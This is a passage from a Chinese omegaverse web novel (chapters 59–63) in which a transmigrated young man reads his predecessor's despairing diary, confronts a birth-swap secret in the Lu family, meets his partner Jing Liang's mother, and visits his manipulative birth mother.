最后一张照片的日期停留在他高一那年,少年的眸子透着厌世,脸上的表情很冷酷。 卢绛放下相册,拿过那本厚厚的日记,翻开了第一页,只写了两个字。 【想死。】 连续十几页都是这种记录。 第到十五页,终于写了点别的。 【想死,庙里的臭和尚跟我讲什么生死学,说实话我害怕了,都怪卢佑铭非得拉我去拜这劳什子高僧,我才不信。】 【我以为她只是不爱我,没想到她是想让我死。】 【我好废物,做什么都做不好。】 【E级alpha还有活着的必要吗?卢家不需要我这样的废物。】 【我还要活多久?】 【感觉被整个世界抛弃了,哈哈……】 【来自父亲的虚伪,让我想哭,谁说男孩子不能哭?老子就要哭!】 【哭了一夜,没人哄我。】 【讨厌这个世界,有没有一个男人只是男人,女人只是女人的世界?不想当alpha,准确的说不想当一个E级废物alpha。】 【为了引起关注所以做了很多坏事,然后就真的把自己变成了坏人,无所谓了,呵呵。】 【我喜欢扎人堆里,喜欢听他们说喜欢我,但我不能直视他们的眼睛,因为他们的眼里只有欲望。】 【我已经无药可救了,所有人背后都这么说,他们骂我是个小垃圾,我也这么觉得。】 【一觉醒来睁开眼睛,哦~我怎么还活着?】 【为什么他们都有人爱,我没有?老天太不公平了!】 …… 【小垃圾又睁开眼睛看到了这个世界,今天的太阳太刺眼。】 【终于,他们找到废物利用的方法了,那就是联姻!答应和我联姻的omega怎么想的?】 【他真漂亮,看着我的眼睛都是亮的,像在看未来的KPI。】 【小垃圾怎么可能乖乖听话?明日的定婚宴会有惊喜的。】 一滴泪水在纸页上晕染,紧接着泪水像断了的珠子往下砸,不被人爱,感觉被整个世界抛弃,每天醒来都是无望一天,这种感觉他太明白。 卢绛抽出别在日记本一侧的碳素笔,添了新的一页。 【没关系,就算是个没有人爱的小垃圾,也要认认真真地活下去,我是另一个世界的你,我叫卢绛。卢绛,很高兴认识这个世界的你。】 或许这个世界的卢绛并没有真的死去,而是像他一样,去到了另一个平行时空,找到了属于自己的家人,会得到很多的爱。 这一夜卢绛睡得很不塌实,不知为什么,在这个房间他就没有真正睡熟过,酸胀的眼睛布着血丝,窗前的晨曦从未拉严实的窗帘窥进了一丝光亮。 他轻叹了口气,疲惫的起身,抓了把凌乱的头发,发了好一会儿的呆,才拿起衣服去浴室冲了个澡,整个人洗爽不少。 沿着盘旋的楼梯往下,八点的卢家偌大的大厅,难得的欢声笑语,那是卢绛来到这个世界一年多,从未见过的景像。 长得与他相似的青年,笑得温文尔雅,与母亲说话时,总是会很乖顺的低头聆听,惹得黎花满眼疼惜。 卢佑铭一改往日对他一严苛与冷脸,虽然也在笑,但卢绛总觉得过份的假。 看起来不像私生子,反倒是他的出现,使气氛变凝固。 卢佑铭脸上的笑容收敛了回去,黎花前一秒还在笑的唇一下紧抿,脸上透着几分不耐与隐忍,眼中看他时的厌恶藏都藏不住。 卢绛假装没有看到,如往常一般,坐到了青年的对面。 阿姨端来了他的早餐,他伸出左手去端了热牛奶,线条优美的手腕上那只旧的腕表让黎花怔愣在当场,眼中不再是单一的厌恶与憎恨,情感变得复杂莫测。 一阵沉寂。 卢佑铭故作轻松,一脸惊诧的问他:“这块手表……不是很多年前就丢了吗?” “我昨天在房间翻东西,在床底下捡回来的。”卢绛冲黎花笑笑,继续吃早饭。 “这是好事啊!我记得你以前最喜欢这块手表了,你妈妈陪着你逛了好久,你才挑了这一款。” 说完,卢佑铭又眼视线落在家里的新成员身上,“他是你哥哥,卢羡。” 卢绛淡淡的瞥了眼青年,问了句:“哪来的?” 卢羡笑得并不和善,“自然不会像弟弟你,是偷来的。” 卢绛暗抽了口气,稳了稳情绪,看来这辈子是没办法和平共处了。 卢佑铭低斥:“怎么跟你弟弟说话的?你弟弟从小就生活在这个家,说‘偷’未免难听!” 卢羡笑容渐渐扭曲,咬着牙没有说话。 黎花阴阳怪气说了句:“阿羡说错了吗?卢绛现在的生活,难道不是偷来的?” 第60章 第60章 在你床上,闻着你的味道,我…… 卢佑铭愤愤摔下筷子, 黎花身子一颤,满眼怨恨盯着丈夫,却没再多言语半句。 “阿绛,你吃完了就到我书房里来。” 说着, 卢佑铭起身离开了餐桌, 临前意味深长的看了眼另一个儿子,随后去了书房处工作。 黎花看着卢绛手腕上的旧表, 越看越觉得烦闷, 心里的那根刺时不时的扎着她, 提醒着她曾经错付的母爱。 “那么破旧的东西戴着太跌份儿, 还是扔了吧,毕竟你现在也是卢家名正言顺的大少爷,免得叫人笑话。” 卢绛不动声色放下碗筷,“我吃好了, 两位慢用。” 目送着卢绛的身影消失在书房门口, 客厅里的母子俩彼此缄默不语,气氛凝重。 不知过了多久, 卢羡轻轻叹了句:“爸爸似乎并不欢迎我回家。” 黎花紧握过卢羡的手, 安慰道:“你从小就不在他身边长大,他对卢绛偏心是自然的, 不过妈妈觉得比你卢绛更优秀, 何况你是A级信息素, 卢绛是E级, 一个连omega都无法标记的alpha, 在你面前没有任何胜算。” 卢羡眸光冷冽,状似漫不经心,“是吗?” “阿羡, 你不要难过,妈妈会为你讨回公道!” 卢羡冷笑,“我自己的公道,我会自己讨的,等着瞧吧。” 书房。 卢绛双手背在身后,像个乖学生等着指教。 卢佑铭捏了捏眉心,沉声道:“你坐着吧,一时半会儿说不清楚。” “嗯。”卢绛坐到了一旁沙发椅上,十指交叠静等着卢佑铭给他说出个子丑寅卯。 “卢羡比你早出生十二天,出生时的性别检测是beta,身体又特别弱小,一直放在恒温箱里都不知道能不能活下去,而你在那个时候刚好出生了,是个alpha,卢家需要一个alpha继承人,所以我将你和卢羡调换了身份。” 卢绛虽然早已有心准备,但心脏还是紧缩了下,不敢置信:“就因为这个原因?” 卢佑铭一脸所当然:“这个原因足够了。” “所以……所以妈妈一开始并不知情,你骗了她?我不是她的亲生儿子。” “这不重要,阿绛,你不要太感情用事!做为一个公司未来的决策人,最忌讳的就是感情用事!” 卢绛闭了闭酸涩的双眼,“我是不是……你的孩子?” “你当然是我的孩子,爸爸对这些年对你怎样,你不是很清楚吗?” 卢绛不由觉得好笑,是对原身很好,有求必应,给钱从不吝啬,原主做了那么多出格的事情,从来都是用钱摆平,他快要孤独死了,最后也没有得到任何感情回应。 “所以你不仅对自己的婚姻不忠,还替换掉了情人与妻子的孩子,只是因为你需要一个alpha继承人?” “同样的问题,我已经回答你了,不会再回应第二次,你解也好,不解也好。” “那我的亲生母亲呢?” “你想见她?” 卢绛犹豫了片刻,最终点了下头,眼底满是坚定:“我要见见她。” “如果你坚持要见,我会安排你们见一面,但我还是希望你不要与她走得太近。” “是要走近还是要远离我会自己看着办。” “你应该听说了吧?卢羡的信息素是A级。” 卢绛只觉得很讽刺,“您是不是后悔当初将我们换了位置?如果我们没有换过来,卢家现在应该有一个合格且优秀的继承人了。” “你,难道不想争?” 卢绛十指不自觉蜷起沉默没有说话。 “你是我看着长大的,我自然是更疼你的,虽然现在这个孩子是认回来了,但跟我总是隔着一道厚厚的墙,黎家人野心不小,很难说不会从卢羡这边突破,想要蚕食卢家的家产。” 看卢绛低着头不说话,卢佑铭怒火中烧,“你在发什么呆?我在跟你说话!” 卢绛深吸了口气,抬头看向眼前这位荒唐的父亲,“如果是公平竞争,我愿意试一试。” 卢佑铭抿了下唇,说道:“我已经说得很明白,我信不过你哥哥。” 卢绛:“我既然已经没有选择,您又何必再问我?” “行了,你出去吧,自己好好想一想,到底想要什么样的未来。你是要继续烂在泥里,还是要拼搏一把做人上人,我让你自己选择。” “嗯。”卢绛不带一丝犹豫快速起身离开了书房。 卢佑铭还他飞速离开的背影,不由为之气结。 卢绛经过大厅时,卢羡与黎花还没有出门,商场那边将这两天订购的奢侈品送了过来,堆满了一整个长桌和茶几。 黎花正饶有兴趣的帮自己的儿子捯饬,似乎要将这些年所有的亏欠都弥补上。 “弟弟,你要出门?” 卢绛没想到卢羡会叫他,他惊诧地回头,“有事吗?” “昨天出门买了很多东西,也不是都能用上,要不你过来挑一挑,有中意的就拿去?”卢羡的故作大方并没有换来太多好感。 “不用了,有需要我自己会买。” 卢羡冲他笑笑,没再会。 卢绛暗舒了口气,开车离开了卢家别墅。 好累,因为这个事从昨天就开始心绪不宁,又睡得很差,让卢绛没什么精神。 他直接去了景凉的别墅。 这个时间他去上班了,只有住家阿姨在庭院里的花草,看到卢绛过来,高兴的上前打了声招呼。 “卢少,您今儿怎么过来了?小景总去上班了。” “请假回来处点事情,不用告诉他,让他好好上班吧,我自己呆着。” “好,要不要准备一份上午茶?” “不用,但是可以准备下午茶,我有点累想去睡一觉。”说着打了一个哈欠。 阿姨明白了,点头:“那下午茶我准备得丰盛一点。” “谢谢阿姨。” “不用客气。” 阿姨蛮喜欢卢绛的,待人温和有礼,进退有度,身份贵重却从来不会使小性子。 卢绛拖着疲惫的躯壳,进了景凉的卧室,朝那张柔软的大床扑去,抱过他的枕头往脸上用力蹭了蹭,满足的闭上眼,很快沉睡。 这一觉睡到了下午两点,卢绛将醒,懒洋洋地翻了个身,再睁开眼时,便看到近在咫尺的景凉,正枕在他身边看着他满眼都是微笑。 卢绛心脏漏了两拍,他喜欢景凉满眼都是他的样子,也喜欢景凉这样的微笑。 两人就这么注视着彼此,线视在潮湿暧昧的空气中交缠缱绻。 “睡得还好吗?”景凉的嗓音清浅带笑。 卢绛一把将他捞进了自己怀里,心满意足的与他交颈相拥,语气苦恼:“凉哥,我完了。” “怎么了?”景凉一颗心提了起来,语气掩不住的紧张。 “我在别的地方都睡不太好,可是在你床上,闻着你的味道,我觉得很安心。” 景凉不由失笑,“吓我一跳,我还以为是什么事。” “这是很严重的事。” “嗯嗯,确实很严重。” 卢绛闭眼埋在他的肩颈处,深吸了口气,淡淡的清爽的香气,属于景凉的独特的味道。 景凉揉了下他的头发:“阿姨说你没吃午饭,现在都下午两点半了,起来吃点东西。” “我想抱着你。” “晚上再抱,嗯?饿肚子对身体不好。” 虽然很想再赖床,但是卢绛还是很听话的爬了起来,被景凉拉着去吃下午茶。 午后的阳光明媚,四月初的天气很宜人,微风和煦,一切都刚刚好。 他们在院子里一边悠闲地吃着下午茶,一边晒太阳。 卢绛喝了杯红茶,又吃了些饼干和面食,已经恢复了精神。 “凉哥,你怎么现在回来了?” “你没给我打电话,又没去我公司找我,我猜想你可能在家里,所以提前下班回来了,果然在床上发现了睡美男。” 卢绛害羞地装佯低头吃饼干。 景凉看着他,一颗心都快要融化了,满是心疼与喜爱,恨不得把自己能给的一切都给他。 “你家里的事情……” “你想听?” “你想说吗?” “我爸,想让我跟卢羡竞争。” “这样也好。” “不好。” 景凉呼吸停窒了两秒,默了会儿,问道:“怎么说?” “这种感觉我说不上来……”卢绛眉头紧锁,“但是我觉得事情没有这么简单,凉哥,我直觉很准的,我爸的打算没有表面看起来那么简单。” “嗯。”景凉点头:“我也觉得你直觉很准,很容易猜透别人的想法。” “因我出生是alpha的原故,他把我和卢羡调了包,后来卢羡分化成了A级alpha,他才把卢羡认回来。” “凉哥,我的等级超A除了你和周助,没有第四个人知道,卢佑铭很看重这个,我现在在他的眼里只是一个E级的废物,从很多年前开始,他对我几乎是溺爱,有求必应。” 卢佑铭溺爱儿子是出了名的,不管犯了什么错,他都会替这个儿子摆平,几乎没有底线。 乍一看觉得是父亲对儿子宠爱之深,仔细一想却不由让人心里发毛。 “你觉得,你爸爸并不是真心实意想让你继承公司,公平跟卢羡竞争?” “有没有可能,他只是想拿我试探卢羡?想看卢羡怎么把我‘干’掉,用什么样的手段把‘我’干掉,再评估他有没有继承人的资格。” 景凉心脏紧揪在了一起,疼得连呼吸都小心翼翼,卢绛到底是经历了什么,才会用如此平静的语气说出这种残酷的真相? 一个人不可能在短时间里接受父母的同时背弃,一般人都会心防线崩溃。 景凉猛地将他紧拥在怀中,心疼得无以复加,“你要是不想争那就不争,让他们自己去玩吧,我能养你。” “凉哥,你是不是心疼我?” “嗯,快要心疼死了。” 因为景凉的心疼,卢绛现在已经不难过了,他用力回抱,“老婆,我想现在就跟你结婚。” 60-70 第61章 第61章 要不然我入赘也可以的,我不…… 景凉心中泛起无限甜蜜, 应声道:“好啊,你想什么时候结婚都行。” 卢绛听到他坚定的语气又犹豫了。 这让景凉十分在意,“原来你只是嘴上说说啊?” “不是!”卢绛声音提高了两分贝,“我是真的想和你永远在一起, 对了, 我还买这个。” 说着,卢绛将一个高级丝绒礼盒拿了出来, “这个送你。” “是和你手上的那只戒指一样的吗?” 卢绛讶然举起左手:“你发现了?” “你睡觉的时候我就发现了, 你平时不爱戴这些东西, 所以就特别显眼。”景凉拿过丝绒礼盒, 拿开看了眼,果然是跟他手上一样的戒指,“可以帮我戴上吗?” 卢绛心情有些激动拿起戒指帮他戴在了左手的无名指上,然后与他十指相扣。 “本来想订制一对的, 但是时间来不及, 所以先买了这一对,以后会换的, 按照你想要的设计再定制一对, 可以吗凉哥?” 景凉看着无名指上与他相同的耀眼的戒指,浅笑道:“下次让我送吧, 你眼光很好, 戒指很漂亮。” “我是想跟你现在就结婚, 可是我还没有办法给你盛大的婚礼, 这样太委屈你了。” “你怎么会这么想?”景凉与他十指紧扣, “我想和你在一起,就是单纯的和你这个人在一起,我不在乎有没有什么婚礼, 也不在乎别的外界因素。” “不能没有婚礼,我不想在这件事情上留有遗憾。” 景凉捏着他的下巴,笑容说不出的温柔与宠溺:“好,都听你的,你想怎样都行。” 卢绛抑制不住激动的心情,将他紧抱在怀里:“老婆,你真好!” 突然景凉手机铃声响了,景凉无奈笑着推了推他,“我先接个电话。” “嗯。” 景凉看了眼看电显示,是母亲打来的。 他没有避开卢绛,在一旁接了。 景妈的语气总是平和温婉的,“儿子,今晚回家吃饭吗?妈妈给你做好吃的。” 景凉抬眸看了眼一旁的卢绛,默了会儿说道:“嗯……阿绛现在在我这儿。” 景妈语气有点幽怨,“真是儿大不中留!” 景凉窘迫一笑,“亲爱的妈妈,你能解的吧?我们正在热恋中。” 卢绛心头一跳,之前还一副松散的样子,立时竖起了耳朵正襟危坐,是未来的岳母大人! 景妈:“要不这样,你把人带回家,我和阿姨再多几个菜,也不拆散你们了,免得说我这个当妈的不通情达。” “您稍等,我问一下他的意见。”景凉拿远了手机,小声问向卢绛,“我妈妈让我带你回家吃饭,你要是不想去,那我就回绝她。” “没有不想去,我都可以,反正迟早也得见。” 景凉看他紧张又认真的样子,不由失笑,“那我就回她了,说我们一起回家吃晚饭?” “好,就这样回吧。” 景凉立即回复了母亲,“阿绛他很愿意跟我一起回家吃晚饭,今晚就辛苦您和阿姨了。” 景妈:“算他识像。” “妈,阿绛是很单纯很好的一小孩,您不要为难他。” 景妈长叹了口气,想着自己好好养大的事业型儿子,现在已经重度恋爱脑没救了,既担忧又无奈。 第一次见家长,自然是不能空手去的,卢绛难免紧张。 两人在车上卢绛就一直问景凉妈妈的喜好,景凉耐心的回答他,安慰道:“别紧张,只是吃个饭而己,就买一点水果好啦,水果也不要多买,她在家吃不了多少,会坏的。” “这样不太好吧?会不会显得很不重视?” 景凉腾出一只手与他十指相扣,“不会的,她一定会很喜欢你。” 卢绛没有这个自信,“我不讨人喜欢的。” “你对自己有很大的误解,”景凉抽回手在十字路口打方向盘左转,“其实我是个很挑剔的人,可我现在还不是被你迷得连命都可以不要?你要相信自己真的很优秀。” 卢绛听到他这么夸赞自己,眼睛很亮,双颊绯红,“连命都不要?为了我?” “你不信?” 卢绛仿佛连呼吸都停窒了,“我,我没有想过……” “没想过什么?” “我能感觉到凉哥你很喜欢我,但是没有想到是连命都可以不要的喜欢。”他觉得这份爱过于厚重,他怕自己承载不起。 “你知道你哪点最吸引我吗?” “不知道。” “是我说什么你都会相信,然后一脸虔诚又认真的模样看着我,每当我看到你这个样子,我就觉得哪怕我对你交付出性命也是值得的,因为你会珍惜。” 而在卢绛看来,如果景凉全身心去爱一个人时,这世界上没有一个alpha不会动心。 他还是幸运的,能得到景凉的心。 在彼此的肯定和鼓励中,卢绛放松了心情,赶到景家老宅时,正值用晚餐的时间。 卢绛没有听景凉的只买几样水果,还去商场买了一只顶好的玉手镯和智能按摩仪,另外又买了一些上好的补品,可以放好久都不会坏的。 见他们大包小包的提进门,景妈也没有客气,照单全收了。 能看得出这小子花了心思,并没有一丝敷衍和不悦。 跟在儿子身后看着那么高那么健壮,却是一副乖顺讨喜的模样。 “买这么多东西呢?”景妈满脸都是笑,高兴也是高兴的,但字里行间也是试探。 景凉最是了解母亲的人,说道:“来之前都叫他不要买这些了,但他不听,反正买都买了,都是些能放好久的补品,您就慢慢吃吧,也是阿绛的一点心意。” 景妈这才微笑着看向卢绛:“那阿姨就谢谢你的心意了。” “不,不用谢,阿姨喜欢就好。” “行,别愣着了,都上桌吃饭吧。”景妈率先走向餐桌。 卢绛紧跟在景凉身后入座。 “不知道你喜欢吃些什么,不用拘着,要是不喜欢吃我让阿姨再给你做别的。”景妈看似很欢喜的与卢绛说着。 “我不挑食,什么都吃得。” “不挑食好,不像我们凉凉,特别挑剔,以后你们在一起,可得多担待一些。” 景凉无奈:“妈妈,您多吃一点菜。” 说着夹了一些她爱吃的放进了一旁小碟子里。 “凉(哥)……凉凉他人很好,我不觉得挑剔。” “噗咳咳咳……”景凉差点把饭喷进到桌上,赶紧喝了口汤缓缓。 景妈浅笑着,敛回眼底的几分满意。 快到吃完时,景妈突然说道:“所以你们是打算近期结婚吗?” 卢绛一脸难色地抿唇垂头不语。 景妈眼神冷了几分,带着些质问的神情看向儿子,“还是说这几年都没结婚的打算?” 景凉:“妈,不是你想的那样,其实我和阿绛也没有急着要结婚,再说结婚只是一个形式,我和阿绛不在意这个形式。” 景妈的语气明显带着强势的逼迫:“是你们真的不在意,还是卢绛不想?” 卢绛猛地抬头看向景妈,心里慌得要命,“我想和凉哥结婚的,只是现在……我家里的情况有一点复杂。” 景妈一脸严肃:“你家里的情况现在帝都传遍了,也不是什么光彩的事情,听说你那位哥哥是个A级alpha?” “是。” “就算你愿意跟我儿子结婚,我也是不想让他嫁到你们卢家受这种委屈的!” 景凉暗抽了口气,出声制止:“妈,别说了!” 景妈冷嗤,“一个alpha只会甜言蜜语,却什么也给不了又有什么用?我还没有提什么要求,这就把他为难成这个样子,到底还是太年轻。” 景凉正要说什么时,只见卢绛猛的站了起来,他太高了,站起来笼下一片阴影,表情又格外严肃,让景妈在底下捏紧了桌布,难不成这个alpha还有暴力倾向? 景凉吓得心脏咚咚直跳,他想干什么?不会是生气了吧?妈妈也真是的,都叮嘱她很多遍了,不要为难卢绛,明明就是很乖的一个人。 “阿绛,要不……我送你先回去?” 卢绛深吸了两口气,直视着景妈,一字一顿道:“我觉得您说得很对,我也不想凉哥嫁过去受委屈,要不然我入赘也可以的,我不怕受委屈,妈妈。” 景凉目瞪狗呆,战略性靠向椅背,抬手尴尬挠了下脖子,笑道:“入赘,好像也可以。” 突如其来的一声妈妈,把景妈给叫不会了。 晚上九点,卢绛在景家留宿,阿姨早早给收拾了一间客房,就在走廊尽头,吃完晚饭后,卢绛就缩进房间没再出来。 阿姨端了甜品出来,问了句:“要不要叫小卢下来一起吃?” 景凉摆摆手,“估计这会儿已经自闭了,让他单独呆着吧。” “咳~”景妈尴尬的咳了下嗓门儿,嘀咕着:“我也没想他是这个性子呀,他不会是要哭了吧?我不是逼他的意思哦,妈妈对他没意见,你让他不要多想。” “没,没事,”景凉无奈一笑,“慢慢就了解了,他不会放心上的。” 说着景凉快速将甜品吃完,端了卢绛那份给他送了上去。 景凉敲了会儿门,里面没人应答,于是他自己推门走了进去。 只见床上卢绛用被子将自己卷成了一个蛹状,一动不动。 景凉将手里的甜品放到一旁小桌上,坐在床沿拿手指戳了戳蛹的中段,蛹有了反应扭了下又不动了。 “你不怕把自己憋死呀?”景凉心疼地去扒拉头顶的被子。 卢绛悄悄伸出手又把头顶的被子封严实。 “阿姨做的甜品好好吃,要不要出来尝尝?” 依旧没反应。 “没事的,真的没人笑你……噗……咳……”景凉轻轻抽了下自己的嘴巴子。 第62章 第62章 你折腾得太狠了,我有点吃不…… 景凉躺了下来, 伸手捞过这只巨大的蛹,轻轻拍抚着。 “你要是再不说话,我就走了。” “我真的走了。” “好吧,我想你可能还是想一个人静静。” …… 景凉假装起身要走, 巨蛹顾涌了两下, 压住了他半边身子,里面传来的声音闷闷的带着脆弱的哭腔, “别走。” 景凉听到心都要碎了, “嗯, 不走不走。怎么又不说话了?” “丢人!” “不丢人, 怎么会丢人呢?我觉得很可爱啊!” “不可爱。” “对,不可爱,是很帅,特别帅, 很勇敢!” “你妈妈是不是不喜欢我?” “不, 她现在特别喜欢你,她刚才还问我, 你是不是(哭)呃……她觉得自己确实过份了点, 让你不要放心上。” “我们还能结婚吗?”问到伤心处卢绛忍不住抽泣。 “当然啦,你要是愿意, 咱们明天就去登记结婚!” 被子里卢绛抹了把脸上的泪水, “对不起, 我表现得很差劲让你妈妈不接受我, 但我还是想和你在一起。” “真的没有那么严重, 妈妈之前对你确实有点误会,现在误会已经解开了。” 等了好几分钟,卢绛才扒拉开被子出来, 眼角红红的,耷拉着脑袋情绪低落。 “要不要吃甜品?吃了会心情变好的。”景凉挖了一勺红豆芋圆喂给他,卢绛一口吃下。 “是不是很好吃?没骗你吧?” 卢绛用力点头,从景凉手里接过了碗:“我自己来。” 景凉倚在床边一脸宠溺的笑看着他,卢绛无法乎视他投过来的视线,下意识抬头看他,迎上景凉的视线,又觉有些丢脸的移开,假装认真吃甜品。 吃完甜品,景凉从他手里接过空碗,没有离开的意思。 卢绛只觉空气有点稀薄,起身走到窗前,开窗想透透气,窗口正对着屋子的后院,种了一些新鲜的蔬菜。 景凉走到他身边,看向那片菜园子,说道:“妈妈喜欢种菜,也喜欢种一些花草,她说植物也是有灵性的,会回馈给人一天的好心情。” “其实她是一个很温柔的人,只是被生活所迫,难免看起来强势,”景凉顿了顿,又道:“谁都想岁月静好,可生活会把人变得面目可憎。” 卢绛牵过他的手,认真道:“凉哥,不管阿姨说了什么,我不会放心上的,因为那是你的妈妈,我知道他是想你好,才会……” “才会什么?” “没什么。” 卢绛不说景凉也知道,大概是咄咄相逼,或者刻薄。 但他也知道,卢绛说不放在心上,那便是不放在心上,这个坎大概是过了。 “时间不早了,早点休息吧,我先出去了。” “凉哥!” “嗯?” 卢绛俊美的双颊泛起一丝红润,拉着他的手摆动着,有些不好意思讲。 景凉不由失笑:“到底怎么了?” “我晚上能不能去你房间?跟你一起睡。” 景凉故作惊讶:“啊?就今晚分开睡也不行么?” “可我才回来三天,第一天也没有睡一起,我失眠了!”卢绛有些着急,语速加快了许多。 景凉本来就是逗他的,见他着急又于心不忍,“那你悄悄的过来,我等你。” 语落掂起脚尖吻了吻他的唇,“深夜见,我的小alpha。” 卢绛抿了下唇,上面仿佛还残留着景凉的气息,触感是温热柔软的。 洗好澡,卢绛强迫自己静下心来看书,好不容易等到十一点,他才悄悄溜进了景凉的房间。 卢绛开门进来的第一时间,景凉就察觉了,他假装睡着没有反应。 直到卢绛偷摸着上了床,一把将他紧抱在怀里,将脸埋在他的肩窝又蹭又亲的,让他实在没能装下去。 景凉推了推他:“别……你的信息素,收一收。” “不要。”卢绛的双手已经从衣?下方探入。 他的信息素充满了占有欲和浓烈的情感,几乎让景凉无法拒绝,只能维持着最后的智,压着嗓音说了句:“这是老房子,隔音不好,你轻点。” 得到许可,卢绛兴奋的翻身压上,共赴云雨。 折腾了一夜,卢绛打水清完已经凌晨四点多。 景凉只觉浑身酸疼,再多一会儿就要散架了。 卢绛现在对这个事已经完全不会害羞,做完大喇喇的光着身子,躺在一旁看了会儿手机,景凉看不过眼,抬手给他甩上一条毯子,“赶紧回你的房间去!” 卢绛不但没听,还转过身过来贴贴。 景凉向征性的推了推他,没推动。 卢绛有点不解,“不是说omega做完会对alpha有依赖吗?为什么你每次都赶我?要不就是睁开眼你就出门了。” 景凉闭上眼有苦难言,omega做完这种事确实是会对自己的alpha有依赖,但是他害怕呀!他怕alpha在这个时候意志不坚定,还想来几次。 年轻、体能强的alpha的身体素质不知甩他多少条街。 “为什么?凉哥,你说话呀!” “啧!你别问了。” “你是不是嫌弃我了?是我技术不好吗?多做几次我技术一定会更好的!” 卢绛越缠越紧,完全甩不开。 景凉认命的叹了口气,一张脸红透:“是我,是我的问题,你折腾得太狠了,我有点吃不消。” 卢绛懵了几秒,不由笑了声:“那我下次温柔点。” “你哪一次不是准备温柔点?” “嗯……”卢绛自觉亏将脸埋在他的颈窝里,闷闷嘀咕着:“你太香了,我容易失控。” “我的信息素哪里香了?惯会找借口。” “反正我对你的信息素没有抵抗力,我们要不要去测一下信息素匹配度?” “测那东西干什么?万一匹配度很低,你会失望吗?” “不会,就是有点好奇而己。” 景凉转过身亲了亲他的脸颊,“那就不测。” “嗯,听你的。” 很多人信AO之间的匹配度越高身体和习性就越相融,也更容易怀上孩子。 这一点,景凉没什么自信,万一测了匹配度不高,反而会成为心负担。 此时天快亮了,窗外翻出了鱼肚白,卢绛没再赖下去,裹着毯子将地上的睡衣捡上,悄摸着又回了自己卧室。 早上七点半陪景妈吃早饭,两人一脸瞌睡眼黑圈严重,心虚的只管埋头吃饭。 景妈一脸看透,也懒得多说,吃完早饭没有留他们,大家都不自在。 离开的车上,景凉认真开着车,卢绛一脸囧色,问了句:“阿姨是不是看出来了?” 景凉笑了声,没他这么在意,“看出来就看出来了,她又不瞎,怎么?这会儿心虚了?” “嗯……”卢绛不置可否:“阿姨本来对我就没好印象。” “那是因为她之前没有了解过你,慢慢了解就不会了。” 卢绛轻应了声,手机传来信息提示,他拿出看了眼,是卢佑铭发来的一个地址。 他瞬间明白了这个地址是原身亲生母亲所居住的地方。 “凉哥,你等下要去公司吗?” “得去一趟公司,不过应该会早点回来补觉。”说着打了一个哈欠,脸上满是疲惫。 “哦,我等下得出去一趟。” “去哪儿?” “见一个人。”卢绛也没说是什么人,景凉没有多问,只是点点头。 他觉得卢绛想说的时候,自然会和他说。 景凉带着他回了一趟别墅,换了一身正装,便离开了。 卢绛从书包里拿出笔记本,翻开最新的一页。 写道:【我还是决定替你去见见她,或许她会是一个温柔的母亲。】 他收拾了一下自己,第一次见面应该留一个好印象,开车出门买了好些礼物,和一束康乃馨。 地址离市区很远,已经快到偏远的小县城了。 行驶了一个多小时,他来到一栋老旧的两层小洋楼前,院子里有个阿姨正在打扫。 卢绛将车泊好,上前往里张望,那阿姨一抬头便看到了他。 “小伙子,你找谁?”阿姨看起来约摸五十多岁,穿着朴素,表情有些严肃不似好说话的人。 卢绛暗抽了口气,紧张的十指微微蜷起,“阿姨,我……我来找人的。” “找人?你找谁啊?” 卢绛忘了问生母的名字,一时答不上来,说找他妈妈又感觉很别扭。 见他嗫嚅了半天,没说出个名字,阿姨瞧他长相觉得面熟,不由多问了句:“你姓什么?” “我姓卢。” 阿姨一下便明白了过来:“你是从卢家过来的?” 卢绛:“您知道?” “啊!知道,少爷快请进。”阿姨赶紧上前开了门,将他迎了进去。 卢绛手里拿满了东西,左手把着的那捧花特别显眼。 阿姨意义不明的道了声:“您挺有心的。” “第一次过来,不知道要买些什么,希望她会喜欢吧。” 跟着阿姨走进大厅,虽然老旧点,但打扫得很干净,有淡淡的薰香,屋子摆设也十分简单,一眼看去没什么贵重的东西。 做为卢佑铭的情人,也太寒酸了点。 卢绛将东西放下,显得局促不安:“她,在吗?” “少爷您先坐,我先沏杯茶给您。”说着往厨房走去,一边唠叨着:“这里平时没有客人来,只有一些附近村民自己做的茶,味道不比那些名茶差多少。” “嗯,谢谢。” 阿姨很快给他沏好了茶,在围裙上擦了擦手上的水渍:“那个,夫人还在楼上睡觉呢,我这就去叫她。” “有劳。” 卢绛乖巧坐在老旧的木质沙发上,继续打量着四周,是真的简单又显得破旧。 还以为要等上一阵,没想到前后不过几分钟,老旧的木质楼梯传来咚咚咚的脚步声,显得急促又慌张。 卢绛下意识起身摒着气看向楼梯口,那是一个很漂亮的女人,岁月在她脸上并没有留下太多痕迹,一头海澡般的长卷发,皮肤是长久没有见过日光的苍白,身形过份瘦弱,显得原本精致的脸刻薄了几分。 第63章 第63章 我想把一切都给你,哪怕是我…… 她见到卢绛, 像是见到了救星那般欢喜,眼里含着泪冲上前就用力的抱住了他。 “阿绛!我的阿绛啊!”女人嚎啕恸哭,像是受尽了委屈,呜咽出声。 这哭声让人不由动容, 卢绛犹豫了会儿, 抬手安慰的顺着她的后背。 待到女人情绪稳定下来,母子俩才落坐。 何今昔一直拉着卢绛的手不放, 那模样生怕他会在她的眼前消失。 “阿绛, 你知道妈妈这些年是怎么过来的吗?妈妈几乎每天都会想你, 想着你在卢家是否过得好。” “嗯, 妈妈……” “卢佑铭那个没良心的东西,他不让我见你,如今还把我困在这儿哪都去不了!阿绛,你一定要帮妈妈!” “我要怎么帮您?” “卢羡回到卢家, 我们母子俩更加举步维艰, 你一定要去争!只要稳坐卢家继承人的身份,那对母子才不敢对我们怎么样。” 卢绛埋头, 绞着十指, 一脸艰涩,“妈妈, 我不想争。” 何今月听到这句话时, 感觉天都要塌了, ‘蹭’的一下起身, 怒目圆睁, “你说什么?” 卢绛深吸了口气,眸光绝决的直视着她,一字一句的重复了遍:“我不想争, 您的余生我能负责,如果……” “你给我闭嘴!” 卢绛呼吸一窒,心底泛起阴霾,逐渐潮湿冰冷。 “我吃了这么多苦,受了这么多罪到底是为了谁啊?我是为了你!!” “为了我?” “我千辛万苦生下你,你最争气的地方就是一个alpha!我为了你赌上了所有,我的青春,我的前程,甚至是我所有的快乐,结果你跟我说你不想争?你怎么能不想争?我就生了你这么个没用的东西?!” 他不该抱有希望的,人一旦有了期待就会失望,一失望就会痛苦。 人有八苦,求而不得为之最。 卢绛嘲讽笑了声,所有的亲情滤镜粉碎之后,她什么也不是。 两世都没有得到过的东西,他怎么就敢奢望?既愚蠢又自不量力。 “天太晚了,我还要赶回市区,就此别过。”卢绛没再看她一眼,大步转身推门走到了院子。 